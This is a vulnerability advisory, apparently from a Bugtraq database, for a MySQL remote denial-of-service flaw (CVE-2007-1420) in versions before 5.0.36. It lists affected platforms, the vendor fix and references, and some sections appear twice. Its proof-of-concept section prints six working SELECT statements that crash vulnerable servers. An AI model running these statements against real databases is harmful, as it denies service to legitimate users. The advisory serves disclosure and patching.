MySQL Single Row SubSelect Remote Denial Of Service Vulnerability
BID:22900
Info
MySQL Single Row SubSelect Remote Denial Of Service Vulnerability
| Bugtraq ID: | 22900 |
| Class: | Failure to Handle Exceptional Conditions |
| CVE: |
CVE-2007-1420 |
| Remote: | Yes |
| Local: | No |
| Published: | Mar 09 2007 12:00AM |
| Updated: | May 21 2008 08:54PM |
| Credit: | S.Streichsbier and B.Mueller of SEC-CONSULT are credited with the discovery of this vulnerability. |
| Vulnerable: |
Ubuntu Ubuntu Linux 6.10 sparc Ubuntu Ubuntu Linux 6.10 powerpc Ubuntu Ubuntu Linux 6.10 i386 Ubuntu Ubuntu Linux 6.10 amd64 Ubuntu Ubuntu Linux 6.06 LTS sparc Ubuntu Ubuntu Linux 6.06 LTS powerpc Ubuntu Ubuntu Linux 6.06 LTS i386 Ubuntu Ubuntu Linux 6.06 LTS amd64 rPath rPath Linux 1 Redhat Enterprise Linux Desktop Workstation 5 client Redhat Enterprise Linux Desktop 5 client Redhat Enterprise Linux 5 server Pardus Linux 2007.1 MySQL AB MySQL 5.0.33 MySQL AB MySQL 5.0.27 MySQL AB MySQL 5.0 Mandriva Linux Mandrake 2007.1 x86_64 Mandriva Linux Mandrake 2007.1 Mandriva Linux Mandrake 2007.0 x86_64 Mandriva Linux Mandrake 2007.0 MandrakeSoft Corporate Server 4.0 x86_64 MandrakeSoft Corporate Server 4.0 Gentoo Linux |
| Not Vulnerable: |
MySQL AB MySQL 5.0.37 MySQL AB MySQL 5.0.36 |
Discussion
MySQL Single Row SubSelect Remote Denial Of Service Vulnerability
MySQL is prone to a remote denial-of-service vulnerability because it fails to handle certain select statements to database metadata.
An attacker can exploit this issue to crash the application, denying access to legitimate users. The attacker may also be able to execute arbitrary code, but this has not yet been confirmed.
NOTE: An attacker must be able to execute arbitrary SELECT statements on the vulnerable computer to exploit this issue. This may be through legitimate means or by exploiting other latent SQL-injection vulnerabilities.
Versions prior to 5.0.36 are vulnerable.
MySQL is prone to a remote denial-of-service vulnerability because it fails to handle certain select statements to database metadata.
An attacker can exploit this issue to crash the application, denying access to legitimate users. The attacker may also be able to execute arbitrary code, but this has not yet been confirmed.
NOTE: An attacker must be able to execute arbitrary SELECT statements on the vulnerable computer to exploit this issue. This may be through legitimate means or by exploiting other latent SQL-injection vulnerabilities.
Versions prior to 5.0.36 are vulnerable.
Exploit / POC
MySQL Single Row SubSelect Remote Denial Of Service Vulnerability
The following example exploit statements are available:
SELECT ASCII((SELECT table_name FROM information_schema.columns ORDER BY 1));
SELECT TRIM(LEADING FROM (SELECT table_name FROM information_schema.columns ORDER BY 1));
SELECT SUBSTR((SELECT table_name FROM information_schema.tables ORDER BY 1),1,1);
SELECT UPPER((SELECT table_name FROM information_schema.tables ORDER BY 1));
SELECT RTRIM((SELECT table_name FROM information_schema.tables ORDER BY 1));
SELECT RPAD((SELECT table_name FROM information_schema.tables ORDER BY 1),1,'lol');
The following example exploit statements are available:
SELECT ASCII((SELECT table_name FROM information_schema.columns ORDER BY 1));
SELECT TRIM(LEADING FROM (SELECT table_name FROM information_schema.columns ORDER BY 1));
SELECT SUBSTR((SELECT table_name FROM information_schema.tables ORDER BY 1),1,1);
SELECT UPPER((SELECT table_name FROM information_schema.tables ORDER BY 1));
SELECT RTRIM((SELECT table_name FROM information_schema.tables ORDER BY 1));
SELECT RPAD((SELECT table_name FROM information_schema.tables ORDER BY 1),1,'lol');
Solution / Fix
MySQL Single Row SubSelect Remote Denial Of Service Vulnerability
Solution:
The vendor has released MySQL 5.0.36 to address this issue. Please see the references for more information.
MySQL AB MySQL 5.0
MySQL AB MySQL 5.0.27
MySQL AB MySQL 5.0.33
Solution:
The vendor has released MySQL 5.0.36 to address this issue. Please see the references for more information.
MySQL AB MySQL 5.0
-
MySQL MySQL 5.0.37
http://dev.mysql.com/downloads/mysql/5.0.html#downloads
MySQL AB MySQL 5.0.27
-
MySQL MySQL 5.0.37
http://dev.mysql.com/downloads/mysql/5.0.html#downloads
MySQL AB MySQL 5.0.33
-
MySQL MySQL 5.0.37
http://dev.mysql.com/downloads/mysql/5.0.html#downloads
References
MySQL Single Row SubSelect Remote Denial Of Service Vulnerability
References:
References:
- MySQL Homepage (Oracle)
- SEC Consult SA-20070309-0 :: MySQL 5 Single Row Subselect Denial of Service (SEC Consult Research)
- RHSA-2008:0364-9 mysql security and bug fix update (Red Hat)